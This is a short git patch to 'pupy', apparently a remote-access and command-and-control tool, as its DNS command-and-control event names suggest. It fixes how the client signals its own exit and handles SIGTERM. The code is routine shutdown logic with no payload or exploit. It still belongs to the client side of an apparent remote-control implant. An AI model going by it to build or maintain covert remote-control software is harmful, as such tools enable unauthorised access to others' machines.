From 196682dfdaf04808a4e16937d47e3887faf4d1fa Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Sat, 27 Oct 2018 10:03:02 +0300 Subject: [PATCH] event: client_exit: bugfixes --- pupy/pp.py | 10 +++++++--- pupy/pupylib/PupyTriggers.py | 2 +- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/pupy/pp.py b/pupy/pp.py index b820d17a..18d1a063 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -145,13 +145,17 @@ if not sys.platform == 'win32' and not pupy.pseudo: def defered_close_exit(connection): try: - broadcast_event(0x20000000 | 0xFFFF) + # Should be the custom event, as generated on client + broadcast_event(0x10000000 | 0xFFFF) except Exception, e: logger.exception(e) logger.debug('Defered close+exit') + sys.terminated = True - connection.close() + + if connection: + connection.close() def broadcast_event(eventid): if pupy.connection: @@ -757,7 +761,7 @@ def handle_sigterm(signal, frame): defered_close_exit, pupy.connection) else: - sys.terminated = True + defered_close_exit(None) logger.warning('SIGTERM HANDLED') diff --git a/pupy/pupylib/PupyTriggers.py b/pupy/pupylib/PupyTriggers.py index 8a1700bb..75294dfc 100644 --- a/pupy/pupylib/PupyTriggers.py +++ b/pupy/pupylib/PupyTriggers.py @@ -33,7 +33,7 @@ ON_CONNECT = CLIENT | 0 ON_DISCONNECT = CLIENT | 1 ON_JOB_EXIT = CLIENT | 2 -ON_CLIENT_EXIT = CLIENT | 0xFFFF +ON_CLIENT_EXIT = CUSTOM | 0xFFFF ON_DNSCNC_SESSION = DNSCNC | 0 ON_DNSCNC_SESSION_LOST = DNSCNC | 1